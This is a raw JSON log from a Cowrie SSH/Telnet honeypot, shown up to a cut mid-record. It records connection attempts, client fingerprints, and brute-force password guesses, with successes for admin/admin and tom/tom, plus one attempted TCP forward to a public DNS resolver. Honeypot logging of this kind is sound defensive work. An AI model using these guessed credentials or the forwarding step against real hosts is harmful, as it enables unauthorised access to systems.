{"eventid":"cowrie.login.failed","username":"root","fingerprint":"02:4a:15:83:d9:05:03:83:30:62:f2:49:a7:d2:99:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZJB2RcPCDoOFXh8DHrgB2aTwLkkBJcdQbEiF7E9LRaGZa88oxdhxUwfvij2FaQ27DMi5GArZJCoj+lQqkNX2ck2K4NDOMgJEsaZCqj5n+6lG+J9ZtXgbW1261KZzbvXMIifq2y7bwaR0CV+csOJd2wPQZ1TWSMqSPXzzR1JJaTpvDZgCbRCv1Hqkg7vGLlGRlh74WObOvg98z40CYvD4GKPyCH4eBNRZJJXjR6vbve0BXIILlWvaIb2I2gZNoEh7oNWutcwnFnI/vjvAA9PSLvqO6IYXj4OazHysTEucVj5IlQYKLBhTGw+5JZS923LN4tIbQ/lAe6SEmp3LEEPDX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:19:50.879541Z","src_ip":"103.253.68.13","session":"10431fb122b9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bf:4c:3d:10:4e:48:20:ac:32:5c:9f:61:44:a3:ed:95","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAImDlfZTuFL1xBh9Jc1EXKWvfEb3uHLatpblr82w60MZbRibNm9rxvyJ2DhKwjSxPbJDsUD6YA+sIMi6snDqeqJHL8AO4T7R1isaKibn1GKbl7HzRouc/5dqFYZkv84JjZLso+wbU3FUGihTFji7aGkxP9fXnYpad/9VTUvrkZn1AAAAFQChxbGqU4JlomLTng6p+ZX3JRp8wwAAAIBkAINYUcE50Qq0udbXqXLttkowpxMpKEJIMl0pgqIGEpiIysd5aTwwvLxp61IknmA367/o7RnQbC6bPBa0eQiI3tg7/1jNwUEXRsL/e+HXI6OfYUk+NB3/dKz3mG+DoZry1mJnUnQ84zyZZlDYDQkjE5nkEaUAYbJkYfk60sJ/2AAAAIA2dcu5IqNLa7umfx44EAHNy13mXg5QTLhOWk/gkCwhl40hjNrhVsXP05b2tDQHLZ/+06wgHq5UGjVybZqwXR74Tgd1Jds/TS9YQKp6VlNb7xMjpHZCtLxhAq+XGtgVm6rw4M/+DYm/dKN9k8eVpP+MUXq06081+Lg9Y/EdaKZo2g==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint bf:4c:3d:10:4e:48:20:ac:32:5c:9f:61:44:a3:ed:95","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:19:51.113022Z","src_ip":"103.253.68.13","session":"10431fb122b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bf:4c:3d:10:4e:48:20:ac:32:5c:9f:61:44:a3:ed:95","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAImDlfZTuFL1xBh9Jc1EXKWvfEb3uHLatpblr82w60MZbRibNm9rxvyJ2DhKwjSxPbJDsUD6YA+sIMi6snDqeqJHL8AO4T7R1isaKibn1GKbl7HzRouc/5dqFYZkv84JjZLso+wbU3FUGihTFji7aGkxP9fXnYpad/9VTUvrkZn1AAAAFQChxbGqU4JlomLTng6p+ZX3JRp8wwAAAIBkAINYUcE50Qq0udbXqXLttkowpxMpKEJIMl0pgqIGEpiIysd5aTwwvLxp61IknmA367/o7RnQbC6bPBa0eQiI3tg7/1jNwUEXRsL/e+HXI6OfYUk+NB3/dKz3mG+DoZry1mJnUnQ84zyZZlDYDQkjE5nkEaUAYbJkYfk60sJ/2AAAAIA2dcu5IqNLa7umfx44EAHNy13mXg5QTLhOWk/gkCwhl40hjNrhVsXP05b2tDQHLZ/+06wgHq5UGjVybZqwXR74Tgd1Jds/TS9YQKp6VlNb7xMjpHZCtLxhAq+XGtgVm6rw4M/+DYm/dKN9k8eVpP+MUXq06081+Lg9Y/EdaKZo2g==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:19:51.117347Z","src_ip":"103.253.68.13","session":"10431fb122b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.481828689575195,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:19:51.296354Z","src_ip":"151.78.193.4","session":"3804b7473b6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:19:51.348370Z","src_ip":"103.253.68.13","session":"10431fb122b9","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:20:11.304459Z","src_ip":"8.218.166.49","session":"95cee8d587a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:20:11.308668Z","src_ip":"8.218.166.49","session":"95cee8d587a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123456","message":"login attempt [testuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:20:16.432013Z","src_ip":"8.218.166.49","session":"43fb0b304def","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:20:22.386774Z","src_ip":"8.218.166.49","session":"a9c542416367","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.28129529953003,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:20:25.935735Z","src_ip":"142.93.69.27","session":"ba645d8236b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":50446,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9345fed178c","protocol":"ssh","message":"New connection: 87.251.64.176:50446 (10.17.0.5:22) [session: c9345fed178c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:20:29.369068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:20:29.373640Z","src_ip":"87.251.64.176","session":"c9345fed178c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:20:29.469903Z","src_ip":"87.251.64.176","session":"c9345fed178c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:20:29.759654Z","src_ip":"87.251.64.176","session":"c9345fed178c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:20:29.860201Z","session":"c9345fed178c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"94.1","message":"Connection lost after 94.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:20:29.889019Z","src_ip":"8.218.166.49","session":"43fb0b304def","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:20:29.958580Z","src_ip":"87.251.64.176","session":"c9345fed178c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:20:30.061638Z","src_ip":"87.251.64.176","session":"c9345fed178c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"90.3","message":"Connection lost after 90.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:20:32.317167Z","src_ip":"8.218.166.49","session":"a9c542416367","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rajvir","password":"rajvir123","message":"login attempt [rajvir/rajvir123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:20:44.637996Z","src_ip":"8.218.166.49","session":"95cee8d587a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"119.3","message":"Connection lost after 119.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:20:47.602038Z","src_ip":"8.218.166.49","session":"95cee8d587a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":49410,"dst_ip":"10.17.0.5","dst_port":22,"session":"766caeb87c40","protocol":"ssh","message":"New connection: 8.218.166.49:49410 (10.17.0.5:22) [session: 766caeb87c40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:21:06.241676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:21:06.391461Z","src_ip":"8.218.166.49","session":"766caeb87c40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:21:06.528641Z","src_ip":"8.218.166.49","session":"766caeb87c40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsw2","message":"login attempt [root/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:21:21.264587Z","src_ip":"8.218.166.49","session":"766caeb87c40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.1","message":"Connection lost after 18.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:21:24.303585Z","src_ip":"8.218.166.49","session":"766caeb87c40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.5.169.17","src_port":31479,"dst_ip":"159.203.135.109","dst_port":23,"session":"aea07e6a38eb","protocol":"telnet","message":"New connection: 69.5.169.17:31479 (159.203.135.109:23) [session: aea07e6a38eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:21:35.846466Z"}
{"eventid":"cowrie.session.closed","duration":0.17744231224060059,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:21:36.023780Z","src_ip":"69.5.169.17","session":"aea07e6a38eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":46116,"dst_ip":"10.17.0.5","dst_port":22,"session":"196c70a3d806","protocol":"ssh","message":"New connection: 8.218.166.49:46116 (10.17.0.5:22) [session: 196c70a3d806]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:21:37.046624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:21:37.051561Z","src_ip":"8.218.166.49","session":"196c70a3d806","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":55848,"dst_ip":"10.17.0.5","dst_port":22,"session":"354429b6c254","protocol":"ssh","message":"New connection: 8.218.166.49:55848 (10.17.0.5:22) [session: 354429b6c254]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:21:45.332809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:21:45.338423Z","src_ip":"8.218.166.49","session":"354429b6c254","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":55856,"dst_ip":"10.17.0.5","dst_port":22,"session":"027b41b4657a","protocol":"ssh","message":"New connection: 8.218.166.49:55856 (10.17.0.5:22) [session: 027b41b4657a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:21:56.023776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:21:56.028553Z","src_ip":"8.218.166.49","session":"027b41b4657a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":35826,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e039c71a0b5","protocol":"ssh","message":"New connection: 8.218.166.49:35826 (10.17.0.5:22) [session: 0e039c71a0b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:21:57.841105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:21:57.846983Z","src_ip":"8.218.166.49","session":"0e039c71a0b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:21:58.052744Z","src_ip":"8.218.166.49","session":"0e039c71a0b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":29944,"dst_ip":"159.203.135.109","dst_port":22,"session":"715324fad8a3","protocol":"ssh","message":"New connection: 194.59.206.2:29944 (159.203.135.109:22) [session: 715324fad8a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:22:20.702165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:22:20.707740Z","src_ip":"194.59.206.2","session":"715324fad8a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:22:20.794723Z","src_ip":"194.59.206.2","session":"715324fad8a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:22:20.887978Z","src_ip":"194.59.206.2","session":"715324fad8a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":40130,"dst_ip":"10.17.0.5","dst_port":22,"session":"f25552e52f6b","protocol":"ssh","message":"New connection: 8.218.166.49:40130 (10.17.0.5:22) [session: f25552e52f6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:22:33.282319Z"}
{"eventid":"cowrie.login.success","username":"tom","password":"tom","message":"login attempt [tom/tom] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:22:33.991507Z","src_ip":"8.218.166.49","session":"0e039c71a0b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 